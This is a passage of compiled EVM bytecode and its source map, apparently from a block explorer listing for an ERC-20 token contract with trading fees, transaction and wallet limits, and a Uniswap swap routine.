1806040525081019061072e91906116e0565b50506014805462ff00ff60a01b19166201000160a01b17905550565b5f546001600160a01b031633146107735760405162461bcd60e51b815260040161044c906116ab565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107bd9030906107ae6009600a611686565b610414906461f313f880611694565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610831919061170b565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610890573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b4919061170b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108fe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610922919061170b565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166109a65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044c565b6001600160a01b038216610a075760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610acb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044c565b6001600160a01b038216610b2d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044c565b5f8111610b8e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044c565b6014545f90600160b01b900460ff161580610bb25750601454600160a81b900460ff165b15610c6a576001600160a01b0384165f90815260016020526040902054610bda908390611726565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610c09908390611739565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c5c9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610c9457505f546001600160a01b03848116911614155b15610f8a576001600160a01b0384165f9081526004602052604090205460ff16158015610cd957506001600160a01b0383165f9081526004602052604090205460ff16155b610ce1575f80fd5b610d0d6064610d07600a54600d5411610cfc57600654610d00565b6008545b85906110f6565b9061117b565b6013549091506001600160a01b038581169116148015610d3b57506012546001600160a01b03848116911614155b8015610d5f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e4557600e54821115610db65760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161044c565b600f5482610dd8856001600160a01b03165f9081526001602052604090205490565b610de29190611739565b1115610e305760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161044c565b600d8054905f610e3f8361174c565b91905055505b6013546001600160a01b038481169116148015610e6b57506001600160a01b0384163014155b15610ea357610e956064610d07600b54600d5411610e8b57600754610d00565b60095485906110f6565b905047610ea1476111bc565b505b305f90815260016020526040902054601454600160a81b900460ff16158015610ed957506013546001600160a01b038581169116145b8015610eee5750601454600160b01b900460ff165b8015610efb575060105481115b8015610f0a5750600c54600d54115b15610f8857601454600160b81b900460ff1615610f6357436015541015610f5e57610f48610f4384610f3e846011546111f7565b6111f7565b61120b565b478015610f5857610f58476111bc565b50436015555b610f88565b610f76610f4384610f3e846011546111f7565b478015610f8657610f86476111bc565b505b505b801561100257305f90815260016020526040902054610fa9908261137b565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ff99085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461102490836113d9565b6001600160a01b0385165f9081526001602052604090205561106761104983836113d9565b6001600160a01b0385165f908152600160205260409020549061137b565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110b085856113d9565b604051908152602001610c5c565b5f81848411156110e15760405162461bcd60e51b815260040161044c9190611446565b505f6110ed8486611726565b95945050505050565b5f825f0361110557505f610395565b5f6111108385611694565b90508261111d8583611764565b146111745760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044c565b9392505050565b5f61117483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061141a565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111f3573d5f803e3d5ffd5b5050565b5f8183116112055782611174565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061125157611251611783565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112cc919061170b565b816001815181106112df576112df611783565b6001600160a01b0392831660209182029290920101526012546113059130911684610944565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061133d9085905f90869030904290600401611797565b5f604051808303815f87803b158015611354575f80fd5b505af1158015611366573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f806113878385611739565b9050838110156111745760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044c565b5f61117483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110be565b5f818361143a5760405162461bcd60e51b815260040161044c9190611446565b505f6110ed8486611764565b5f602080835283518060208501525f5b8181101561147257858101830151858201604001528201611456565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105b0575f80fd5b5f80604083850312156114b7575f80fd5b82356114c281611492565b946020939093013593505050565b5f805f606084860312156114e2575f80fd5b83356114ed81611492565b925060208401356114fd81611492565b929592945050506040919091013590565b5f6020828403121561151e575f80fd5b813561117481611492565b5f805f6060848603121561153b575f80fd5b833561154681611492565b95602085013595506040909401359392505050565b5f806040838503121561156c575f80fd5b823561157781611492565b9150602083013561158781611492565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115e057815f19048211156115c6576115c6611592565b808516156115d357918102915b93841c93908002906115ab565b509250929050565b5f826115f657506001610395565b8161160257505f610395565b816001811461161857600281146116225761163e565b6001915050610395565b60ff84111561163357611633611592565b50506001821b610395565b5060208310610133831016604e8410600b8410161715611661575081810a610395565b61166b83836115a6565b805f190482111561167e5761167e611592565b029392505050565b5f61117460ff8416836115e8565b808202811582820484141761039557610395611592565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156116f2575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561171b575f80fd5b815161117481611492565b8181038181111561039557610395611592565b8082018082111561039557610395611592565b5f6001820161175d5761175d611592565b5060010190565b5f8261177e57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117e75784516001600160a01b0316835293830193918301916001016117c2565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f78b15901110632b43fc99f7c4b4f26e7cf7812e5c6e376d7c12118ece1baa4e64736f6c63430008180033

Deployed Bytecode Sourcemap

3655:8159:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5971:83;;;;;;;;;;-1:-1:-1;6041:5:0;;;;;;;;;;;-1:-1:-1;;;6041:5:0;;;;5971:83;;;;6041:5;5971:83;:::i;:::-;;;;;;;;6790:161;;;;;;;;;;-1:-1:-1;6790:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6790:161:0;1023:187:1;4702:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4702:45:0;1215:177:1;6242:95:0;;;;;;;;;;;;;:::i;6957:313::-;;;;;;;;;;-1:-1:-1;6957:313:0;;;;;:::i;:::-;;:::i;4650:45::-;;;;;;;;;;;;;;;;6153:83;;;;;;;;;;-1:-1:-1;6153:83:0;;4354:1;2000:36:1;;1988:2;1973:18;6153:83:0;1858:184:1;4592:51:0;;;;;;;;;;;;;;;;6343:119;;;;;;;;;;-1:-1:-1;6343:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6436:18:0;6409:7;6436:18;;;:9;:18;;;;;;;6343:119;2866:148;;;;;;;;;;;;;:::i;:::-;;11310:193;;;;;;;;;;;;;:::i;4538:47::-;;;;;;;;;;;;;;;;2652:79;;;;;;;;;;-1:-1:-1;2690:7:0;2717:6;2652:79;;-1:-1:-1;;;;;2717:6:0;;;2445:51:1;;2433:2;2418:18;2652:79:0;2299:203:1;11060:114:0;;;;;;;;;;;;;:::i;5840:125::-;;;;;;;;;;-1:-1:-1;5840:125:0;;;;;:::i;:::-;;:::i;6468:167::-;;;;;;;;;;-1:-1:-1;6468:167:0;;;;;:::i;:::-;;:::i;11509:302::-;;;;;;;;;;;;;:::i;6641:143::-;;;;;;;;;;-1:-1:-1;6641:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6749:18:0;;;6722:7;6749:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6641:143;5537:297;;;;;;;;;;;;;:::i;6790:161::-;6865:4;6882:39;2187:10;6905:7;6914:6;6882:8;:39::i;:::-;-1:-1:-1;6939:4:0;6790:161;;;;;:::o;6242:95::-;6295:7;4412:13;4354:1;4412:2;:13;:::i;:::-;4397:28;;:12;:28;:::i;:::-;6315:14;;6242:95;:::o;6957:313::-;7055:4;7072:36;7082:6;7090:9;7101:6;7072:9;:36::i;:::-;7119:121;7128:6;2187:10;7150:89;7188:6;7150:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7150:19:0;;;;;;:11;:19;;;;;;;;2187:10;7150:33;;;;;;;;;;:37;:89::i;:::-;7119:8;:121::i;:::-;-1:-1:-1;7258:4:0;6957:313;;;;;:::o;2866:148::-;2779:6;;-1:-1:-1;;;;;2779:6:0;2187:10;2779:22;2771:67;;;;-1:-1:-1;;;2771:67:0;;;;;;;:::i;:::-;;;;;;;;;2973:1:::1;2957:6:::0;;2936:40:::1;::::0;-1:-1:-1;;;;;2957:6:0;;::::1;::::0;2936:40:::1;::::0;2973:1;;2936:40:::1;3004:1;2987:19:::0;;-1:-1:-1;;;;;;2987:19:0::1;::::0;;2866:148::o;11310:193::-;2779:6;;-1:-1:-1;;;;;2779:6:0;2187:10;2779:22;2771:67;;;;-1:-1:-1;;;2771:67:0;;;;;;;:::i;:::-;11364:12:::1;:20:::0;;-1:-1:-1;;;;11364:20:0::1;::::0;;4412:13:::1;4354:1;4412:2;:13;:::i;:::-;4397:28;::::0;:12:::1;:28;:::i;:::-;11395:12;:22:::0;4412:13:::1;4354:1;4412:2;:13;:::i;:::-;4397:28;::::0;:12:::1;:28;:::i;:::-;11428:16;:24:::0;11468:27:::1;4412:13;4354:1;4412:2;:13;:::i;:::-;4397:28;::::0;:12:::1;:28;:::i;:::-;11468:27;::::0;1361:25:1;;;1349:2;1334:18;11468:27:0::1;;;;;;;11310:193::o:0;11060:114::-;2779:6;;-1:-1:-1;;;;;2779:6:0;2187:10;2779:22;2771:67;;;;-1:-1:-1;;;2771:67:0;;;;;;;:::i;:::-;11115:51:::1;::::0;11123:10:::1;::::0;11144:21:::1;11115:51:::0;::::1;;;::::0;::::1;::::0;;;11144:21;11123:10;11115:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11060:114::o:0;5840:125::-;5940:8;;5924:33;;5933:5;;-1:-1:-1;;;;;5940:8:0;5950:6;5924:8;:33::i;:::-;5840:125;;;:::o;6468:167::-;6546:4;6563:42;2187:10;6587:9;6598:6;6563:9;:42::i;11509:302::-;2779:6;;-1:-1:-1;;;;;2779:6:0;2187:10;2779:22;2771:67;;;;-1:-1:-1;;;2771:67:0;;;;;;;:::i;:::-;11573:11:::1;::::0;-1:-1:-1;;;11573:11:0;::::1;;;11572:12;11564:47;;;::::0;-1:-1:-1;;;11564:47:0;;5533:2:1;11564:47:0::1;::::0;::::1;5515:21:1::0;5572:2;5552:18;;;5545:30;5611:25;5591:18;;;5584:53;5654:18;;11564:47:0::1;5331:347:1::0;11564:47:0::1;11622:9;::::0;-1:-1:-1;;;;;11622:9:0::1;:25;11655:21;11686:4;11692:24;11686:4:::0;-1:-1:-1;;;;;6436:18:0;6409:7;6436:18;;;:9;:18;;;;;;;6343:119;11692:24:::1;11717:1;11719::::0;11721:7:::1;2690::::0;2717:6;-1:-1:-1;;;;;2717:6:0;;2652:79;11721:7:::1;11622:123;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11622:123:0;;;-1:-1:-1;;;;;6042:15:1;;;11622:123:0::1;::::0;::::1;6024:34:1::0;6074:18;;;6067:34;;;;6117:18;;;6110:34;;;;6160:18;;;6153:34;6224:15;;;6203:19;;;6196:44;11729:15:0::1;6256:19:1::0;;;6249:35;5958:19;;11622:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11756:11:0::1;:18:::0;;-1:-1:-1;;;;11785:18:0;-1:-1:-1;;;11785:18:0;;;-1:-1:-1;11509:302:0:o;5537:297::-;2779:6;;-1:-1:-1;;;;;2779:6:0;2187:10;2779:22;2771:67;;;;-1:-1:-1;;;2771:67:0;;;;;;;:::i;:::-;5586:9:::1;:74:::0;;-1:-1:-1;;;;;;5586:74:0::1;5617:42;5586:74:::0;;::::1;::::0;;;5671:52:::1;::::0;5688:4:::1;::::0;4412:13:::1;4354:1;4412:2;:13;:::i;:::-;4397:28;::::0;:12:::1;:28;:::i;5671:52::-;5762:9;;;;;;;;;-1:-1:-1::0;;;;;5762:9:0::1;-1:-1:-1::0;;;;;5762:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5744:49:0::1;;5802:4;5809:9;;;;;;;;;-1:-1:-1::0;;;;;5809:9:0::1;-1:-1:-1::0;;;;;5809:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5744:82;::::0;-1:-1:-1;;;;;;5744:82:0::1;::::0;;;;;;-1:-1:-1;;;;;7092:15:1;;;5744:82:0::1;::::0;::::1;7074:34:1::0;7144:15;;7124:18;;;7117:43;7009:18;;5744:82:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5734:7;:92:::0;;-1:-1:-1;;;;;;5734:92:0::1;-1:-1:-1::0;;;;;5734:92:0;;;::::1;::::0;;;::::1;::::0;;5537:297::o;7276:335::-;-1:-1:-1;;;;;7369:19:0;;7361:68;;;;-1:-1:-1;;;7361:68:0;;7373:2:1;7361:68:0;;;7355:21:1;7412:2;7392:18;;;7385:30;7451:34;7431:18;;;7424:62;-1:-1:-1;;;7502:18:1;;;7495:34;7546:19;;7361:68:0;7171:400:1;7361:68:0;-1:-1:-1;;;;;7448:21:0;;7440:68;;;;-1:-1:-1;;;7440:68:0;;7778:2:1;7440:68:0;;;7760:21:1;7817:2;7797:18;;;7790:30;7856:34;7836:18;;;7829:62;-1:-1:-1;;;7907:18:1;;;7900:32;7949:19;;7440:68:0;7576:398:1;7440:68:0;-1:-1:-1;;;;;7519:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7571:32;;1361:25:1;;;7571:32:0;;1334:18:1;7571:32:0;;;;;;;7276:335;;;:::o;7617:2862::-;-1:-1:-1;;;;;7705:18:0;;7697:68;;;;-1:-1:-1;;;7697:68:0;;8181:2:1;7697:68:0;;;8163:21:1;8220:2;8200:18;;;8193:30;8259:34;8239:18;;;8232:62;-1:-1:-1;;;8310:18:1;;;8303:35;8355:19;;7697:68:0;7979:401:1;7697:68:0;-1:-1:-1;;;;;7784:16:0;;7776:64;;;;-1:-1:-1;;;7776:64:0;;8587:2:1;7776:64:0;;;8569:21:1;8626:2;8606:18;;;8599:30;8665:34;8645:18;;;8638:62;-1:-1:-1;;;8716:18:1;;;8709:33;8759:19;;7776:64:0;8385:399:1;7776:64:0;7868:1;7859:6;:10;7851:64;;;;-1:-1:-1;;;7851:64:0;;8991:2:1;7851:64:0;;;8973:21:1;9030:2;9010:18;;;9003:30;9069:34;9049:18;;;9042:62;-1:-1:-1;;;9120:18:1;;;9113:39;9169:19;;7851:64:0;8789:405:1;7851:64:0;7961:11;;7926:17;;-1:-1:-1;;;7961:11:0;;;;7960:12;;:22;;-1:-1:-1;7976:6:0;;-1:-1:-1;;;7976:6:0;;;;7960:22;7956:217;;;-1:-1:-1;;;;;8017:15:0;;;;;;:9;:15;;;;;;:24;;8035:6;;8017:24;:::i;:::-;-1:-1:-1;;;;;7999:15:0;;;;;;;:9;:15;;;;;;:42;;;;8072:13;;;;;;;:22;;8088:6;;8072:22;:::i;:::-;-1:-1:-1;;;;;8056:13:0;;;;;;;:9;:13;;;;;;;:38;;;;8114:26;;;;;;;;;;8133:6;1361:25:1;;1349:2;1334:18;;1215:177;8114:26:0;;;;;;;;8155:7;7617:2862;;;:::o;7956:217::-;2690:7;2717:6;-1:-1:-1;;;;;8187:15:0;;;2717:6;;8187:15;;;;:32;;-1:-1:-1;2690:7:0;2717:6;-1:-1:-1;;;;;8206:13:0;;;2717:6;;8206:13;;8187:32;8183:1941;;;-1:-1:-1;;;;;8245:11:0;;;;;;:5;:11;;;;;;;;8244:12;:26;;;;-1:-1:-1;;;;;;8261:9:0;;;;;;:5;:9;;;;;;;;8260:10;8244:26;8236:35;;;;;;8298:78;8372:3;8298:69;8325:12;;8310:14;;:27;8309:57;;8352:14;;8309:57;;;8339:12;;8309:57;8298:6;;:10;:69::i;:::-;:73;;:78::i;:::-;8403:7;;8286:90;;-1:-1:-1;;;;;;8395:15:0;;;8403:7;;8395:15;:43;;;;-1:-1:-1;8428:9:0;;-1:-1:-1;;;;;8414:24:0;;;8428:9;;8414:24;;8395:43;:67;;;;-1:-1:-1;;;;;;8444:18:0;;;;;;:14;:18;;;;;;;;8442:20;8395:67;8391:304;;;8502:12;;8492:6;:22;;8484:60;;;;-1:-1:-1;;;8484:60:0;;9664:2:1;8484:60:0;;;9646:21:1;9703:2;9683:18;;;9676:30;9742:27;9722:18;;;9715:55;9787:18;;8484:60:0;9462:349:1;8484:60:0;8597:16;;8587:6;8571:13;8581:2;-1:-1:-1;;;;;6436:18:0;6409:7;6436:18;;;:9;:18;;;;;;;6343:119;8571:13;:22;;;;:::i;:::-;:42;;8563:81;;;;-1:-1:-1;;;8563:81:0;;10018:2:1;8563:81:0;;;10000:21:1;10057:2;10037:18;;;10030:30;10096:28;10076:18;;;10069:56;10142:18;;8563:81:0;9816:350:1;8563:81:0;8663:14;:16;;;:14;:16;;;:::i;:::-;;;;;;8391:304;8718:7;;-1:-1:-1;;;;;8712:13:0;;;8718:7;;8712:13;:37;;;;-1:-1:-1;;;;;;8729:20:0;;8744:4;8729:20;;8712:37;8709:360;;;8782:81;8859:3;8782:72;8809:13;;8794:14;;:28;8793:60;;8838:15;;8793:60;;;8824:13;;8782:6;;:10;:72::i;:81::-;8770:93;-1:-1:-1;8911:21:0;9002:32;9012:21;9002:9;:32::i;:::-;8751:318;8709:360;9132:4;9083:28;6436:18;;;:9;:18;;;;;;9158:6;;-1:-1:-1;;;9158:6:0;;;;9157:7;:24;;;;-1:-1:-1;9174:7:0;;-1:-1:-1;;;;;9168:13:0;;;9174:7;;9168:13;9157:24;:39;;;;-1:-1:-1;9185:11:0;;-1:-1:-1;;;9185:11:0;;;;9157:39;:75;;;;;9221:11;;9200:20;:32;9157:75;:107;;;;;9251:13;;9236:14;;:28;9157:107;9153:960;;;9289:12;;-1:-1:-1;;;9289:12:0;;;;9285:813;;;9348:12;9330:15;;:30;9326:432;;;9389:67;9406:49;9410:6;9417:37;9421:20;9442:11;;9417:3;:37::i;:::-;9406:3;:49::i;:::-;9389:16;:67::i;:::-;9512:21;9563:22;;9560:118;;9618:32;9628:21;9618:9;:32::i;:::-;-1:-1:-1;9722:12:0;9704:15;:30;9326:432;9285:813;;;9806:67;9823:49;9827:6;9834:37;9838:20;9859:11;;9834:3;:37::i;9806:67::-;9925:21;9972:22;;9969:110;;10023:32;10033:21;10023:9;:32::i;:::-;9783:315;9285:813;8221:1903;8183:1941;10137:11;;10134:162;;10205:4;10187:24;;;;:9;:24;;;;;;:39;;10216:9;10187:28;:39::i;:::-;10180:4;10162:24;;;;:9;:24;;;;;;;:64;;;;10244:40;;-1:-1:-1;;;;;10244:40:0;;;;;;;10274:9;1361:25:1;;1349:2;1334:18;;1215:177;10244:40:0;;;;;;;;10134:162;-1:-1:-1;;;;;10322:15:0;;;;;;:9;:15;;;;;;:27;;10342:6;10322:19;:27::i;:::-;-1:-1:-1;;;;;10306:15:0;;;;;;:9;:15;;;;;:43;10374:40;10392:21;:6;10403:9;10392:10;:21::i;:::-;-1:-1:-1;;;;;10374:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10360:13:0;;;;;;;:9;:13;;;;;:54;;;;10430:41;;;10449:21;:6;10460:9;10449:10;:21::i;:::-;10430:41;;1361:25:1;;;1349:2;1334:18;10430:41:0;1215:177:1;611:190:0;697:7;733:12;725:6;;;;717:29;;;;-1:-1:-1;;;717:29:0;;;;;;;;:::i;:::-;-1:-1:-1;757:9:0;769:5;773:1;769;:5;:::i;:::-;757:17;611:190;-1:-1:-1;;;;;611:190:0:o;809:246::-;867:7;891:1;896;891:6;887:47;;-1:-1:-1;921:1:0;914:8;;887:47;944:9;956:5;960:1;956;:5;:::i;:::-;944:17;-1:-1:-1;989:1:0;980:5;984:1;944:17;980:5;:::i;:::-;:10;972:56;;;;-1:-1:-1;;;972:56:0;;10735:2:1;972:56:0;;;10717:21:1;10774:2;10754:18;;;10747:30;10813:34;10793:18;;;10786:62;-1:-1:-1;;;10864:18:1;;;10857:31;10905:19;;972:56:0;10533:397:1;972:56:0;1046:1;809:246;-1:-1:-1;;;809:246:0:o;1063:132::-;1121:7;1148:39;1152:1;1155;1148:39;;;;;;;;;;;;;;;;;:3;:39::i;11180:89::-;11234:10;;:27;;-1:-1:-1;;;;;11234:10:0;;;;:27;;;;;11254:6;;11234:10;:27;:10;:27;11254:6;11234:10;:27;;;;;;;;;;;;;;;;;;;;;11180:89;:::o;10956:98::-;11013:7;11040:1;11038;:3;11037:9;;11045:1;11037:9;;;-1:-1:-1;11043:1:0;10956:98;-1:-1:-1;10956:98:0:o;10485:465::-;5168:6;:13;;-1:-1:-1;;;;5168:13:0;-1:-1:-1;;;5168:13:0;;;10587:16:::1;::::0;;10601:1:::1;10587:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10587:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10587:16:0::1;10563:40;;10632:4;10614;10619:1;10614:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10614:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10658:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;10658:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;10614:7;;10658:16;;;;;:9;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10648:4;10653:1;10648:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10648:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;10717:9:::1;::::0;10685:56:::1;::::0;10702:4:::1;::::0;10717:9:::1;10729:11:::0;10685:8:::1;:56::i;:::-;10752:9;::::0;:190:::1;::::0;-1:-1:-1;;;10752:190:0;;-1:-1:-1;;;;;10752:9:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;10827:11;;10752:9:::1;::::0;10869:4;;10896::::1;::::0;10916:15:::1;::::0;10752:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5204:6:0;:14;;-1:-1:-1;;;;5204:14:0;;;-1:-1:-1;;;;10485:465:0:o;280:179::-;338:7;;370:5;374:1;370;:5;:::i;:::-;358:17;;399:1;394;:6;;386:46;;;;-1:-1:-1;;;386:46:0;;12386:2:1;386:46:0;;;12368:21:1;12425:2;12405:18;;;12398:30;12464:29;12444:18;;;12437:57;12511:18;;386:46:0;12184:351:1;467:136:0;525:7;552:43;556:1;559;552:43;;;;;;;;;;;;;;;;;:3;:43::i;1203:189::-;1289:7;1324:12;1317:5;1309:28;;;;-1:-1:-1;;;1309:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1348:9:0;1360:5;1364:1;1360;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:383::-;2584:6;2592;2600;2653:2;2641:9;2632:7;2628:23;2624:32;2621:52;;;2669:1;2666;2659:12;2621:52;2708:9;2695:23;2727:31;2752:5;2727:31;:::i;:::-;2777:5;2829:2;2814:18;;2801:32;;-1:-1:-1;2880:2:1;2865:18;;;2852:32;;2507:383;-1:-1:-1;;;2507:383:1:o;2895:388::-;2963:6;2971;3024:2;3012:9;3003:7;2999:23;2995:32;2992:52;;;3040:1;3037;3030:12;2992:52;3079:9;3066:23;3098:31;3123:5;3098:31;:::i;:::-;3148:5;-1:-1:-1;3205:2:1;3190:18;;3177:32;3218:33;3177:32;3218:33;:::i;:::-;3270:7;3260:17;;;2895:388;;;;;:::o;3288:127::-;3349:10;3344:3;3340:20;3337:1;3330:31;3380:4;3377:1;3370:15;3404:4;3401:1;3394:15;3420:416;3509:1;3546:5;3509:1;3560:270;3581:7;3571:8;3568:21;3560:270;;;3640:4;3636:1;3632:6;3628:17;3622:4;3619:27;3616:53;;;3649:18;;:::i;:::-;3699:7;3689:8;3685:22;3682:55;;;3719:16;;;;3682:55;3798:22;;;;3758:15;;;;3560:270;;;3564:3;3420:416;;;;;:::o;3841:806::-;3890:5;3920:8;3910:80;;-1:-1:-1;3961:1:1;3975:5;;3910:80;4009:4;3999:76;;-1:-1:-1;4046:1:1;4060:5;;3999:76;4091:4;4109:1;4104:59;;;;4177:1;4172:130;;;;4084:218;;4104:59;4134:1;4125:10;;4148:5;;;4172:130;4209:3;4199:8;4196:17;4193:43;;;4216:18;;:::i;:::-;-1:-1:-1;;4272:1:1;4258:16;;4287:5;;4084:218;;4386:2;4376:8;4373:16;4367:3;4361:4;4358:13;4354:36;4348:2;4338:8;4335:16;4330:2;4324:4;4321:12;4317:35;4314:77;4311:159;;;-1:-1:-1;4423:19:1;;;4455:5;;4311:159;4502:34;4527:8;4521:4;4502:34;:::i;:::-;4572:6;4568:1;4564:6;4560:19;4551:7;4548:32;4545:58;;;4583:18;;:::i;:::-;4621:20;;3841:806;-1:-1:-1;;;3841:806:1:o;4652:140::-;4710:5;4739:47;4780:4;4770:8;4766:19;4760:4;4739:47;:::i;4797:168::-;4870:9;;;4901;;4918:15;;;4912:22;;4898:37;4888:71;;4939:18;;:::i;4970:356::-;5172:2;5154:21;;;5191:18;;;5184:30;5250:34;5245:2;5230:18;;5223:62;5317:2;5302:18;;4970:356::o;6295:306::-;6383:6;6391;6399;6452:2;6440:9;6431:7;6427:23;6423:32;6420:52;;;6468:1;6465;6458:12;6420:52;6497:9;6491:16;6481:26;;6547:2;6536:9;653